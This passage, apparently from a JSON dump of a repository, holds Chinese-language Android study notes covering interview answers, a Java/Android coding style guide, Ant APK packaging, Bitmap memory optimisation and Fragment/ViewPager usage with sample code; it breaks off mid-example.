Controller改变了Models的数据或者属性，所有依赖的View都会自动更新。类似的，只要Contro \n56. DDMS和TraceView的区别?           \n\tDDMS是一个程序执行查看器，在里面可以看见线程和堆栈等信息，TraceView是程序性能分析器 。\n57. java中如何引用本地语言               \n\t可以用JNI（java native interface  java 本地接口）接口 。\n58. 谈谈Android的IPC（进程间通信）机制                \n\tIPC是内部进程通信的简称， 是共享\"命名管道\"的资源。Android中的IPC机制是为了让Activity和Service之间可以随时的进行交互，故在Android中该机制，\n\t只适用于Activity和Service之间的通信，类似于远程方法调用，类似于C/S模式的访问。通过定义AIDL接口文件来定义IPC接口。Servier端实现IPC接口，\n\tClient端调用IPC接口本地代理。\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck!\n\n"
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/Android编码规范.md",
    "content": "Android编码规范\n===\n\n介绍\n---\n\n1. 为什么需要编码规范\n\t编码规范对于程序员而言尤为重要，有以下几个原因： \n\t- 一个软件的生命周期中，80%的花费在于维护 \n\t- 几乎没有任何一个软件，在其整个生命周期中，均由最初的开发人员来维护\n\t- 编码规范可以改善软件的可读性，可以让程序员尽快而彻底地理解新的代码\n\t\n源文件规范\n---\n\n1. 文件名\n\t源文件名必须和它包含的顶层类名保持一致，包括大小写，并以.java作为后缀名。\n\n2. 文件编码\n\t所有源文件编码必须是`UTF-8`\n\t\n\t\n\t\n命名\n---\n\n1. 包名\n\t命名规则：一个唯一包名的前缀总是全部小写的`ASCII`字母并且是一个**顶级域名**,通常是`com,edu,gov,mil,net,org`。      \n\t包名的后续部分根据不同机构各自内部的命名规范而不尽相同。这类命名规范可能以特定目录名的组成来区分部门 `(department)`,      \n\t项目`(project)`,机器`(machine)`,或注册名`(login names)`.         \n\t例如： `com.domain.xx`           \n\t\n    包命名必须以`com.domain`开始,后面跟有项目名称（或者缩写）,再后面为模块名或层级名称。           \n\t\t如：`com.domain.项目缩写.模块名` `com.domain.xx.bookmark`        \n\t\t如：`com.domain.项目缩写.层级名` `com.domain.xx.activity`          \n\n2. 类和接口命名\n\t命名规则：类名是个一名词，采用大小写混合的方式，每个单词的首字母大写。尽量使你的类名简洁而富于描述。使用完整单词，\n\t避免缩写词(除非该缩写词被更广泛使用，像 URL，HTML)        \n\t\n\t接口一般要使用`able`,`ible`,`er`等后缀              \n\n\t类名必须使用**驼峰规则**，即首字母必须大写，如果为词组，则每个单词的首字母也必须要大写，类名必须使用名词，或名词词组。\n\t要求类名简单，不允许出现无意义的单词。\n\n3. 方法的命名\n\t命名规则：方法名是一个动词，采用大小写混合的方式，第一个单词的首字母小写，其后单词的首字母大写。\n\t例如： `public void run(); public String getBookName();`     \n\t\n\t类中常用方法的命名：              \n\t\t- 类的获取方法（一般具有返回值）一般要求在被访问的字段名前加上`get`.     \n\t\t    如`getFirstName()`,`getLastName()`.\n\t\t\t一般来说,`get`前缀方法返回的是单个值,`find`前缀的方法返回的是列表值.\n\t\t\t\n\t\t- 类的设置方法(一般返回类型为`void`)：被访问字段名的前面加上前缀 `set`.    \n\t\t\t如`setFirstName()`,`setLastName()`.\n\t\t\t\n\t\t- 类的布尔型的判断方法一般要求方法名使用单词`is`或`has`做前缀.      \n\t\t\t如`isPersistent()`,`isString()`.或者使用具有逻辑意义的单词,例如`equal`或`equals`.\n\t\t\t\n\t\t- 类的普通方法一般采用完整的英文描述说明成员方法功能,第一个单词尽可能采用动词,首字母小写.     \n\t\t\t如`openFile()`, `addCount()`.\n\t\t- 构造方法应该用递增的方式写,(参数多的写在后面).\n\t\t- `toString()`方法：一般情况下，每个类都应该定义`toString()`.\n\n4. 变量命名\n\t命名规则：第一个单词的首字母小写，其后单词的首字母大写。变量名不应以下划线或美元符号开头，尽管这在语法上是允许的。变量名应简短且富于描述。\n\t变量名的选用应该易于记忆，即，能够指出其用途。尽量避免单个字符的变量名，除非是一次性的临时变量。临时变量通常被取名为 `i,j,k,m,n`它们一般用于整型；\n\t`c,d,e` 它们一般用于字符型。         \n\t在`Android`中成员变量\n\t非`public`非`static`的变量可以使用`m`开头\n\t非常量的`static`变量可以使用`s`开头\n\t\n\n\t变量命名也必须使用**驼峰规则**，但是首字母必须小写，变量名尽可能的使用名词或名词词组。同样要求简单易懂，不允许出现无意义的单词。\n\t例如：`private String mBookName; ` \n\t\n5. 常量命名\n\t命名规则：类常量的声明，应该全部大写，单词间用下划线隔开。\n\t例如：`private static final int MIN_WIDTH = 4;`\n\t\n6. 异常命名\n\t自定义异常的命名必须以`Exception`为结尾。已明确标示为一个异常。\n\n7. layout命名\n\t`layout.xml`的命名必须以全部单词小写，单词间以下划线分割，并且使用名词或名词词组，即使用 模块名_功能名称_所属页面类型 来命名。\n\t如：`video_controller_player_activity`     视频模块下的-控制栏-属于播放器的-Activity页\n\t\n8. id命名\n\t·layout`中所使用的`id`必须以全部单词小写，单词间以下划线分割，并且使用名词或名词词组，并且要求能够通过`id`直接理解当前组件要实现的功能。       \n\t如：某`TextView @+id/tv_book_name_show`         \n\t如：某`EditText @+id/`et_book_name_edit`          \n\n9. 资源命名\n\t`layout`中所使用的所有资源(如`drawable`,`style`等),命名必须以全部单词小写，单词间以下划线分割，并且尽可能的使用名词或名词组，        \n\t即使用 模块名_用途 来命名。如果为公共资源，如分割线等，则直接用用途来命名                \n\t如：`menu_icon_navigate.png`      \n\t如：某分割线：`line.png` 或 `separator.png`        \n\n注释\n---\n\n`Java`程序有两类注释：实现注释`(implementation comments)`和文档注释`(document comments)`。\n实现注释是使用/*...*/和//界定的注释。文档注释(被称为\"doc comments\")由/**...*/界定。文档注释可以通过javadoc 工具转换成HTML 文件。\n\n1. 类注释\n\t每一个类都要包含如下格式的注释，以说明当前类的功能等。\n\t/**\n\t * 类名\n\t * @author 作者 <br/>\n\t *\t实现的主要功能。\n\t *\t创建日期\n\t *\t修改者，修改日期，修改内容。\n\t */\n\n2. 方法注释\n\t每一个方法都要包含 如下格式的注释 包括当前方法的用途，当前方法参数的含义，当前方法返回值的内容和抛出异常的列表。\n\t/**\n\t * \n\t * 方法的一句话概述\n\t * <p>方法详述（简单方法可不必详述）</p>\n\t * @param s 说明参数含义\n\t * @return 说明返回值含义\n\t * @throws IOException 说明发生此异常的条件\n\t * @throws NullPointerException 说明发生此异常的条件\n\t */\n\n3. 类成员变量和常量注释\n\t成员变量和常量需要使用`java doc`形式的注释，以说明当前变量或常量的含义\n\t/**\n\t * XXXX含义\n\t */\n\n4. 其他注释\n\t方法内部的注释 如果需要多行 使用/*…… */形式，如果为单行是用//……形式的注释。\n\t不要再方法内部使用 java doc 形式的注释“/**……*/”\n\n代码风格\n---\n\n1. 缩进\n    除了换行符之外，ASCII空格（0x20）是唯一合法的空格字符。这意味着\n    不允许使用`Tab`进行缩进，应该使用空格进行缩进，推荐缩进为4个空格\t\t\n\t`Eclipse`中将`Tab`替换为4个空格的设置方法(很多人都习惯直接按4次空格，感觉不设置习惯了也挺好)\n\t\t- 代码设置\n\t\t\t`Window->Preferences->General->Editors->Text Editors->`勾选`Insert spaces for tabs``\n\t\t- XML文件的Tab配置\n\t\t\t`Window->Preferences->XML->XML Files->Editor>`选择右侧区域的`Indent using spaces`\n\n\n2. 空行\n\t空行将逻辑相关的代码段分隔开，以提高可读性。       \n\t\n \t下列情况应该总是使用空行： \n\t- 一个源文件的两个片段之间\n \t- 类声明和接口声明之间\n\t- 两个方法之间\n\t- 方法内的局部变量和方法的第一条语句之间\n\t- 一个方法内的两个逻辑段之间，用以提高可读性  \n\n    通常在 变量声明区域之后要用空行分隔，常量声明区域之后要有空行分隔，方法声明之前要有空行分隔。\n\n3. 方法\n \t- 一个方法尽量不要超过15行(可能会有难度，但是尽量不要太多，弄个方法几千行这是绝对不允许的)，如果方法太长，说明当前方法业务逻辑已经非常复杂，\n\t\t那么就需要进行方法拆分，保证每个方法只作一件事。\n\t- 不要使用`try catch`处理业务逻辑！！！！\n\n4. 参数和返回值\n    - 一个方法的参数尽可能的不要超过4个(根据情况可能也会有些难度)\n    - 如果一个方法返回的是一个错误码，请使用异常！！\n    - 尽可能不要使用`null`替代为异常\n\n5. 神秘数字\n\t代码中不允许出现单独的数字，字符！如果需要使用数字或字符，则将它们按照含义封装为静态常量!(`for`语句中除外)\n\t\n6. 控制语句\n\t判断中如有常量，则应将常量置于判断式的右侧。如： \n\t`if (true == isAdmin())...`\n\t尽量不要使用三目条件的嵌套。\n\n\t在`if`、`else`、`for`、`do`和`while`语句中，即使没有语句或者只有一行，也不得省略花括号：\n\t```java\n\tif (true){\n\t\t//do something......\n\t}\n\t```\n\t不要使用下面的方式:\n\t```java\n\tif (true)\n\t\ti = 0; //不要使用这种\n\t```\n\t\n\t对于循环：\n\t//将操作结构保存在临时变量里，减少方法调用次数\n\t```java\n\tfinal int count = products.getCount();\n\twhile(index < count){\n\t\t// ...\n\t}\n\t```\n\t而不是\n\t```java\n\twhile(index < products.getCount()){\n\t\t//每此都会执行一次getCount()方法，\n\t\t//若此方法耗时则会影响执行效率\n\t\t//而且可能带来同步问题，若有同步需求，请使用同步块或同步方法\n\t}\n\t```\n\n\n7. 访问控制\n\t若没有足够理由，不要把实例或类变量声明为公有。\n\t\n8. 变量赋值\n\t不要使用内嵌(embedded)赋值运算符试图提高运行时的效率，这是编译器的工作。例如： \n\t `d = (a = b + c) + r;`\n\t应该写成 \n\t```java\n\ta = b + c; \n\td = a + r; \n\t```\n\t\n9. 圆括号的试用\n\t一般而言，在含有多种运算符的表达式中使用圆括号来避免运算符优先级问题，是个好方法。\n\t即使运算符的优先级对你而言可能很清楚，但对其他人未必如此。你不能假设别的程序员和你一样清楚运算符的优先级。 \n\t不要这样写：\n\t`if (a == b && c == d)`\n\t正确的方式为： \n\t`if ((a == b) && (c == d))`\n\n10. 返回值\n\t设法让你的程序结构符合目的。例如： \n\t```java\n\tif (booleanExpression) { \n\t\treturn true; \n\t} else { \n\t\treturn false; \n\t} \n\t```\n\t应该代之以如下方法： \n\t`return booleanExpression`\n\n\t类似地： \n\t```java\n\tif (condition) { \n\t\treturn x; \n\t} \n\treturn y; \n\t```\n\t应该写做： \n    `return (condition ? x : y);`\n\n11. 条件运算符`?`前的表达式    \n\t如果一个包含二元运算符的表达式出现在三元运算符\" ? : \"的\"?\"之前，那么应该给表达式添上一对圆括号。例如：  \n\t`(x >= 0) ? x : -x`\n\n12.  所有未使用的import语句应该被删除。\t\n\n13. 重载（Overload）方法必须放在一起\n\n14. 非空块中花括号的使用\n\t在非空代码块中使用花括号时要遵循`K&R`风格`(Kernighan and Ritchie Style)：\n\t左花括号（{）前不能换行，在其后换行。\n\t在右花括号（}）前要有换行。\n\t\n15. 空代码块中花括号的使用\t\n\t如果一个代码块是空的，可以直接使用`{}`。除了`if/else-if/else`和`try/catch/finally`这样的多块语句.\n\t\n16. 列宽\n\t列宽必须为120字符，以下情况可以不遵守列宽限制：\n\t无法限制宽度的内容，比如注释里的长`URL`\n\t`package`和`import`语句\n\t注释中需要被粘贴到`Shell`里去执行的命令\n\n17. 枚举\n\t用逗号分割每个枚举变量，并且变量要单独在一行\n\t```java\n\tenum Color {\n\t\tRED,\n\t\tGREEN,\n\t\tYELLOW\n\t}\n\t```\n\t\n18. 长整形数字\n\t长整型数字必须使用大写字母`L`结尾，不能使用小写字母`l`，以便和数字1进行区分。例如使用3000000000L而不是3000000000l\n  \n  \n开发格式统一\n---\n\n1. Eclipse\n    `Windows -> Preferences -> Java -> Code Style`      \n\t然后选择`Import`导入相应的`Clean Up`、`Code Templates`、`Formatter`等XML文件。     \n\t如果不需要Copyright信息，想要自定义的，可以不导入Code Templates。\n\t\n2. IDEA \n\t`File -> Import Settings`选择下载链接中的`IDEA_Style.jar`文件，\n\t可以看到两个选项，只需代码风格的，可以仅选择`Code style schemes`,\n\t如果需要默认的`Copyright`信息，选择`Default Project settings`。\n\n\n代码严谨性要求\n---\n\n1. `ArrayList`通过`get`方法使用下标获取元素，如果使用的下标不在`ArrayList`大小范围内，将产生`java.lang.IndexOutOfBoundsException`的异常，导致`app`出现`Crash`。\n\n2. 方法中存在`return null`返回对象直接进行方法调用隐患, 在使用时需要先判断是否为`null`，一般尽量不要在方法中直接`return null`，最好用异常代替。\n\n3. 销毁`Dialog`前是否`isShowing`未判断隐患\n\t调用`Android.app.Dialog.cancel()`方法前，如果这个`dialog`不处于`showing`状态时，会抛出`java.lang.IllegalArgumentException`的异常，导致`app`出现`Crash`。\n\n4. 使用`String.split`结果未判断长度隐患\n\t在使用`String.split`得到的结果数组前，未对数组进行长度检查，取字段的时候可能发生越界而导致`Crash`。\n\t```java\n\tString source = \"<br/>\";\n\tString[] infos = source.split(\"<br/>\");\n\tif(0 < infos.length){\n\t   String poiName = infos[0];\n\t}\n\t```\n\n\n\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/Ant打包.md",
    "content": "Ant打包\n===\n\n使用步骤：    \n1. 对于已经存在的工程需要利用`Ant`命令更新一下：    \n    `android update project -n Test -p D:/workspace/Test -s -t 1`            \n　　-n (name) 后面跟的是这个工程的名子      \n　　-p (path)后面跟的是这个工程的目录路径                          \n　　-t (target)后面是当前共有的`SDK`版本。表明我们的*目标版本*(如果有了`project.properties`就不用再跟`target`这个参数了).          \n　　`android list target`这样就能够列出来所有的sdk版本          \n\n2. 将签名文件keystore复制到工程根目录下,并且在根目录下新建`ant.properties`内容如下(配置签名文件):       \n    ```\n　　key.store=keystore.keystore //把签名放到根目录中   \n　　key.alias=tencent\n　　key.store.password=1234\n　　key.alias.password=1234\n    ```\n\n3. 刷新工程    \n    在`eclipse`中的`Ant`视图中右键`add build files`选择工程中的`build.xml`，选择最下面的`release`或者是`debug`，\n\t注意`release`是生成带签名的`apk`包.生成的apk在`bin`目录中，名字为工程名`-release.apk`.\n\n4. 常见错误：      \n\t有时候在用`ant`打包的时候会报一些错误，一般按照错误的提示进行修改即可，如文件的非法字符等。     \n\t```java\n\tError occurred during initialization of VM\n\tCould not reserve enough space for object heap\n\tError: Could not create the Java Virtual Machine.\n\tError: A fatal exception has occurred. Program will exit.\n\t```\n\t如果发现以上错误，就是说明栈内存不足了，一种是内存设置的太小，还有一种情况就是你设置的内存大小已经超过了当前系统限制的大小。\n\t打开`D:\\Java\\adt-bundle-windows\\sdk\\build-tools\\android-4.4\\dx.bat`将`set defaultXmx=-Xmx1024M`改为`set defaultXmx=-Xmx512M`即可。\n\t\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n"
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/Bitmap优化.md",
    "content": "Bitmap优化\n===\n\n1. 一个进程的内存可以由2个部分组成：`native和dalvik`\n    `dalvik`就是我们平常说的`java`堆，我们创建的对象是在这里面分配的，而`bitmap`是直接在`native`上分配的。   \n    一旦内存分配给`Java`后，以后这块内存即使释放后，也只能给`Java`的使用，所以如果`Java`突然占用了一个大块内存，\n\t即使很快释放了,`C`能用的内存也是16M减去`Java`最大占用的内存数。\n    而`Bitmap`的生成是通过`malloc`进行内存分配的，占用的是`C`的内存，这个也就说明了，上述的`4MBitmap`无法生成的原因，\n\t因为在`13M`被`Java`用过后，剩下`C`能用的只有`3M`了。    \n\n2. 在`Android`应用里，最耗费内存的就是图片资源。    \n    在`Android`系统中，读取位图`Bitmap`时，分给虚拟机中的图片的堆栈大小只有8M，如果超出了，就会出现`OutOfMemory`异常。\n\n3. 及时回收Bitmap的内存\n    ```java\n    // 先判断是否已经回收\n    if(bitmap != null && !bitmap.isRecycled()){\n        // 回收并且置为null\n        bitmap.recycle();\n        bitmap = null;\n    }\n    System.gc();\n    ```\n\n4. 捕获异常     \n    在实例化`Bitmap`的代码中，一定要对`OutOfMemory`异常进行捕获。下面对初始化`Bitmap`对象过程中可能发生的`OutOfMemory`异常进行了捕获。\n\t如果发生了异常，应用不会崩溃，而是得到了一个默认的图片。\n    ```java\n    Bitmap bitmap = null;\n    try {\n        // 实例化Bitmap\n        bitmap = BitmapFactory.decodeFile(path);\n    } catch (OutOfMemoryError e) {\n    //\n    }\n    if (bitmap == null) {\n        // 如果实例化失败 返回默认的Bitmap对象\n        return defaultBitmapMap;\n    }\n    ```\n\t\n5. 缓存通用的Bitmap对象\n\n6. 压缩图片\n    如果图片像素过大可以将图片缩小，以减少载入图片过程中的内存的使用，避免异常发生。\n    使用`BitmapFactory.Options.inSampleSize`就可以缩小图片。属性值`inSampleSize`表示缩略图大小为原始图片大小的几分之一。\n\t即如果这个值为2，则取出的缩略图的宽和高都是原始图片的1/2，图片的大小就为原始大小的1/4。\n    如果知道图片的像素过大，就可以对其进行缩小。那么如何才知道图片过大呢?\n    使用`BitmapFactory.Options`设置`inJustDecodeBounds`为`true`后，并不会真正的分配空间，即解码出来的`Bitmap`为`null`，\n\t但是可计算出原始图片的宽度和高度，即`options.outWidth`和`options.outHeight`。\n    通过这两个值，就可以知道图片是否过大了。\n    ```java\n    BitmapFactory.Options opts = new BitmapFactory.Options();\n    // 设置inJustDecodeBounds为true\n    opts.inJustDecodeBounds = true;\n    // 使用decodeFile方法得到图片的宽和高\n    BitmapFactory.decodeFile(path, opts);\n    // 打印出图片的宽和高\n    Log.d(\"example\", opts.outWidth + \",\" + opts.outHeight);\n    ```\n    在实际项目中，可以利用上面的代码，先获取图片真实的宽度和高度，然后判断是否需要跑缩小。如果不需要缩小，设置inSampleSize的值为1。如果需要缩小，则动态计算并设置inSampleSize的值，对图片进行缩小。需要注意的是，在下次使用BitmapFactory的decodeFile()等方法实例化Bitmap对象前，别忘记将opts.inJustDecodeBound设置回false。否则获取的bitmap对象还是null。\n\n    以从Gallery获取一个图片为例讲解缩放:   \n    ```java\n    public class MainActivity extends Activity {\n        private ImageView iv;\n        private WindowManager wm;\n    \n        @Override\n        protected void onCreate(Bundle savedInstanceState) {\n            super.onCreate(savedInstanceState);\n            setContentView(R.layout.activity_main);\n            wm = getWindowManager();\n            iv = (ImageView) findViewById(R.id.iv);\n        }\n    \n        // 从系统的图库里面 获取一张照片\n        public void click(View view) {\n            Intent intent = new Intent();\n            intent.setAction(\"android.intent.action.PICK\");\n            intent.addCategory(\"android.intent.category.DEFAULT\");\n            intent.setType(\"image/*\");\n            startActivityForResult(intent, 0);\n        }\n    \n        @Override\n        protected void onActivityResult(int requestCode, int resultCode, Intent data) {\n            if (data != null) {\n                // 获取到系统图库返回回来图片的uri\n                Uri uri = data.getData();\n                System.out.println(uri.toString());\n    \n                try {\n                    InputStream is = getContentResolver().openInputStream(uri);\n                    // 1.计算出来屏幕的宽高.\n                    int windowWidth = wm.getDefaultDisplay().getWidth();\n                    int windowHeight = wm.getDefaultDisplay().getHeight();\n                    //2. 计算图片的宽高.\n                    BitmapFactory.Options opts = new Options();\n                    // 设置 不去真正的解析位图 不把他加载到内存 只是获取这个图片的宽高信息\n                    opts.inJustDecodeBounds = true;\n                    BitmapFactory.decodeStream(is, null, opts);\n                    int bitmapHeight = opts.outHeight;\n                    int bitmapWidth = opts.outWidth;\n    \n                    if (bitmapHeight > windowHeight || bitmapWidth > windowWidth) {\n                        int scaleX = bitmapWidth/windowWidth;\n                        int scaleY = bitmapHeight/windowHeight;\n                        if(scaleX>scaleY){//按照水平方向的比例缩放\n                            opts.inSampleSize = scaleX;\n                        }else{//按照竖直方向的比例缩放\n                            opts.inSampleSize = scaleY;\n                        }\n    \n                    }else{//如果图片比手机屏幕小 不去缩放了.\n                        opts.inSampleSize = 1;\n                    }\n                    //让位图工厂真正的去解析图片\n                    opts.inJustDecodeBounds = false;\n                    //注意: 流的操作\n                    is = getContentResolver().openInputStream(uri);\n                    Bitmap bitmap = BitmapFactory.decodeStream(is, null, opts);\n                    iv.setImageBitmap(bitmap);\n    \n                } catch (Exception e) {\n                    e.printStackTrace();\n            }\n            }\n            super.onActivityResult(requestCode, resultCode, data);\n        }\n    }\n    ```\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/Fragment专题.md",
    "content": "Fragment专题\n===\n\n## 简介\n\nA Fragment is a piece of an application's user interface or behavior that can be placed in an Activity. \nInteraction with fragments is done through FragmentManager, \nwhich can be obtained via Activity.getFragmentManager() and Fragment.getFragmentManager().\n\nThe Fragment class can be used many ways to achieve a wide variety of results. \nIn its core, it represents a particular operation or interface that is running within a larger Activity. \nA Fragment is closely tied to the Activity it is in, and can not be used apart from one. \nThough Fragment defines its own lifecycle, that lifecycle is dependent on its activity: if the activity is stopped, \nno fragments inside of it can be started; when the activity is destroyed, all fragments will be destroyed.\n\nAll subclasses of Fragment must include a public no-argument constructor. \nThe framework will often re-instantiate a fragment class when needed, in particular during state restore, \nand needs to be able to find this constructor to instantiate it. \nIf the no-argument constructor is not available, a runtime exception will occur in some cases during state restore.\n\n\n## 生命周期\n\n`onAttach()`(`Fragment`被绑定到`Activity`时调用) ---> `onCreate()`(`Fragment`创建) --> \n`onCreateView()`(创建和`Fragment`关联的`View Hierarchy`时调用) --> `onActivityCreated()`(`Activity`的`onCreate()`方法返回时调用) \n--> `onStart()` --> `onResume()` --> `onPause()` --> `onStop()` --> `onDestroyView()`当和`Fragment`关联的`view hierarchy`正在被移除时调用. \n--> `onDestroy()`(`Activity`的`onDestroy`执行后的回调), --> `onDetach()`(当`Fragment`从`Activity`解除关联时被调用)        \n\t\n![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/complete_android_fragment_lifecycle.png)    \n\n## 使用\n\n1. 布局添加\n\t```xml\n\t<LinearLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n\t\tandroid:orientation=\"horizontal\"\n\t\tandroid:layout_width=\"fill_parent\"\n\t\tandroid:layout_height=\"fill_parent\">\n\n\t\t<fragment android:name=\"com.example.android.fragments.HeadlinesFragment\"\n\t\t\t\t  android:id=\"@+id/headlines_fragment\"\n\t\t\t\t  android:layout_weight=\"1\"\n\t\t\t\t  android:layout_width=\"0dp\"\n\t\t\t\t  android:layout_height=\"match_parent\" />\n\n\t\t<fragment android:name=\"com.example.android.fragments.ArticleFragment\"\n\t\t\t\t  android:id=\"@+id/article_fragment\"\n\t\t\t\t  android:layout_weight=\"2\"\n\t\t\t\t  android:layout_width=\"0dp\"\n\t\t\t\t  android:layout_height=\"match_parent\" />\n\n\t</LinearLayout>\n\t\n\timport android.support.v4.app.FragmentActivity;\n\n\tpublic class MainActivity extends FragmentActivity {\n\t\t@Override\n\t\tprotected void onCreate(Bundle savedInstanceState) {\n\t\t\tsuper.onCreate(savedInstanceState);\n\t\t\tsetContentView(R.layout.fragment_layout);\n\t\t}\n\t}\n\t```\n\t**每一个fragment 都需要一个唯一的标识,如果activity重启,系统可以用来恢复fragment(并且你也可以用来捕获fragment 来处理事务,例如移除它.)**                \n\n\t有3 种方法来为一个`fragment` 提供一个标识:             \n\n\t\t1. 为`android:id`属性提供一个唯一ID.      \n\t\t2. 为`android:tag`属性提供一个唯一字符串.       \n\t\t3. 如果以上2个你都没有提供,系统使用容器`view`的`ID`.         \n\t\t \n\t```java\n\tpublic static ArticleFragment newInstance(int index) {\n\t\tArticleFragment f = new ArticleFragment();\n\n\t\t// Supply index input as an argument.\n\t\tBundle args = new Bundle();\n\t\targs.putInt(\"index\", index);\n\t\tf.setArguments(args);\n\n\t\treturn f;\n\t}\n\t```\n\t\t\n2. 通过代码添加\n\t只需简单的指定一个需要放置`Fragment`的`ViewGroup`.为了在`Activity`中操作`Fragment`事务(例如添加、移除或代替),必须使用来自`FragmentTransaction`.\n\t```java\n\tpublic class MainActivity extends FragmentActivity {\n\t\t@Override\n\t\tprotected void onCreate(Bundle savedInstanceState) {\n\t\t\tsuper.onCreate(savedInstanceState);\n\t\t\tsetContentView(R.layout.fragment_layout);\n\t\t\t\n\t\t\t // Check that the activity is using the layout version with\n\t\t\t// the fragment_container FrameLayout\n\t\t\tif (findViewById(R.id.fragment_container) != null) {\n\n\t\t\t\t// However, if we're being restored from a previous state,\n\t\t\t\t// then we don't need to do anything and should return or else\n\t\t\t\t// we could end up with overlapping fragments.\n\t\t\t\tif (savedInstanceState != null) {\n\t\t\t\t\treturn;\n\t\t\t\t}\n\n\t\t\t\t// Create a new Fragment to be placed in the activity layout\n\t\t\t\tHeadlinesFragment firstFragment = new HeadlinesFragment();\n\t\t\t\t\n\t\t\t\t// In case this activity was started with special instructions from an\n\t\t\t\t// Intent, pass the Intent's extras to the fragment as arguments\n\t\t\t\tfirstFragment.setArguments(getIntent().getExtras());\n\t\t\t\t\n\t\t\t\t// Add the fragment to the 'fragment_container' FrameLayout\n\t\t\t\tgetSupportFragmentManager().beginTransaction()\n\t\t\t\t\t\t.add(R.id.fragment_container, firstFragment).commit();\n\t\t\t}\n\t\t}\n\t}\n\t```\n\t\n## 管理Fragment\n\n要在`activity`中管理`fragment`,需要使用`FragmentManager`. 通过调用`activity`的`getFragmentManager()`取得它的实例.\n可以通过`FragmentManager`做一些事情, 包括:           \n    1. 使用findFragmentById() (用于在activitylayout 中提供一个UI 的fragment)或findFragmentByTag()(适用于有或没有UI 的fragment)获取activity 中存在的fragment      \n    2. 将fragment 从后台堆栈中弹出, 使用popBackStack() (模拟用户按下BACK 命令).    \n    3. 使用addOnBackStackChangeListener()注册一个监听后台堆栈变化的listener.   \n\n## 处理Fragment事务\n\n每一个事务都是同时要执行的一套变化.可以在一个给定的事务中设置你想执行的所有变化,使用诸如`add()`, `remove()`,和`replace()`.\n要给`activity`应用事务, 必须调用`commit()`.在调用`commit()`之前, \n你可能想调用`addToBackStack()`,将事务添加到一个fragment 事务的`backstack`\n将一个fragment 替换为另一个, 并在后台堆栈中保留之前的状态:\n```java\n// Create new fragment and transaction\nFragment newFragment = new ExampleFragment();\nFragmentTransaction transaction = getFragmentManager().beginTransaction();\n// Replace whatever is in the fragment_container view with this fragment,\n// and add the transaction to the back stack\ntransaction.replace(R.id.fragment_container, newFragment);\ntransaction.addToBackStack(null);\n// Commit the transaction\ntransaction.commit();\n```\n\n`Fragment`通过调用`addToBackStack()`, `replace`事务被保存到`back stack`,因此用户可以回退事务,并通过按下`BACK`按键带回前一个`Fragment`.\n\t\n## Fragment真正的onPause以及onResume\n\n`Fragment`虽然有`onResume()`和`onPause()`方法，但是这两个方法是`Activity`的方法调用时机也与`Activity`相同，\n和`ViewPager`搭配使用这个方法就很鸡肋了，根本不是你想要的效果，这里介绍一种方法。\n```java\n@Override\npublic void setUserVisibleHint(boolean isVisibleToUser) {\n\tsuper.setUserVisibleHint(isVisibleToUser);\n\tif (isVisibleToUser) {\n\t\t//相当于Fragment的onResume\n\t} else {\n\t\t//相当于Fragment的onPause\n\t}\n}\n```\n\n通过阅读`ViewPager`和`PageAdapter`相关的代码，切换`Fragment`实际上就是通过设置`setUserVisibleHint`和`setMenuVisibility`来实现的，\n调用这个方法时并不会释放掉`Fragment`（即不会执行`onDestoryView`）。\n\n## Fragment与ViewPager搭配\n`FragmentStatePagerAdapter`，会自动保存和恢复`Fragment`。\n```java\nimport android.support.v4.app.Fragment;\nimport android.support.v4.app.FragmentManager;\n...\npublic class ScreenSlidePagerActivity extends FragmentActivity {\n    /**\n     * The number of pages (wizard steps) to show in this demo.\n     */\n    private static final int NUM_PAGES = 5;\n\n    /**\n     * The pager widget, which handles animation and allows swiping horizontally to access previous\n     * and next wizard steps.\n     */\n    private ViewPager mPager;\n\n    /**\n     * The pager adapter, which provides the pages to the view pager widget.\n     */\n    private PagerAdapter mPagerAdapter;\n\n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.activity_screen_slide);\n\n        // Instantiate a ViewPager and a PagerAdapter.\n        mPager = (ViewPager) findViewById(R.id.pager);\n        mPagerAdapter = new ScreenSlidePagerAdapter(getSupportFragmentManager());\n        mPager.setAdapter(mPagerAdapter);\n    }\n\n    @Override\n    public void onBackPressed() {\n        if (mPager.getCurrentItem() == 0) {\n            // If the user is currently looking at the first step, allow the system to handle the\n            // Back button. This calls finish() on this activity and pops the back stack.\n            super.onBackPressed();\n        } else {\n            // Otherwise, select the previous step.\n            mPager.setCurrentItem(mPager.getCurrentItem() - 1);\n        }\n    }\n\n    /**\n     * A simple pager adapter that represents 5 ScreenSlidePageFragment objects, in\n     * sequence.\n     */\n    private class ScreenSlidePagerAdapter extends FragmentStatePagerAdapter {\n        public ScreenSlidePagerAdapter(FragmentManager fm) {\n            super(fm);\n        }\n\n        @Override\n        public Fragment getItem(int position) {\n            return new ScreenSlidePageFragment();\n        }\n\n        @Override\n        public int getCount() {\n            return NUM_PAGES;\n        }\n    }\n}\n```\n\n如何给`ViewPager`切换时增加动画.\n```java\nViewPager mPager = (ViewPager) findViewById(R.id.pager);\nmPager.setPageTransformer(true, new DepthPageTransformer ());\n```\n\n```java\npublic class DepthPageTransformer implements ViewPager.PageTransformer {\n    private static final float MIN_SCALE = 0.75f;\n\n    public void transformPage(View view, float position) {\n        int pageWidth = view.getWidth();\n\n        if (position < -1) { // [-Infinity,-1)\n            // This page is way off-screen to the left.\n            view.setAlpha(0);\n\n        } else if (position <= 0) { // [-1,0]\n            // Use the default slide transition when moving to the left page\n            view.setAlpha(1);\n            view.setTranslationX(0);\n            view.setScaleX(1);\n            view.setScaleY(1);\n\n        } else if (position <= 1) { // (0,1]\n            // Fade the page out.\n            view.setAlpha(1 - position);\n\n            // Counteract the default slide transition\n            view.setTranslationX(pageWidth * -position);\n\n            // Scale the page down (between MIN_SCALE and 1)\n            float scaleFactor = MIN_SCALE\n                    + (1 - MIN_SCALE) * (1 - Math.abs(position));\n            view.setScaleX(scaleFactor);\n            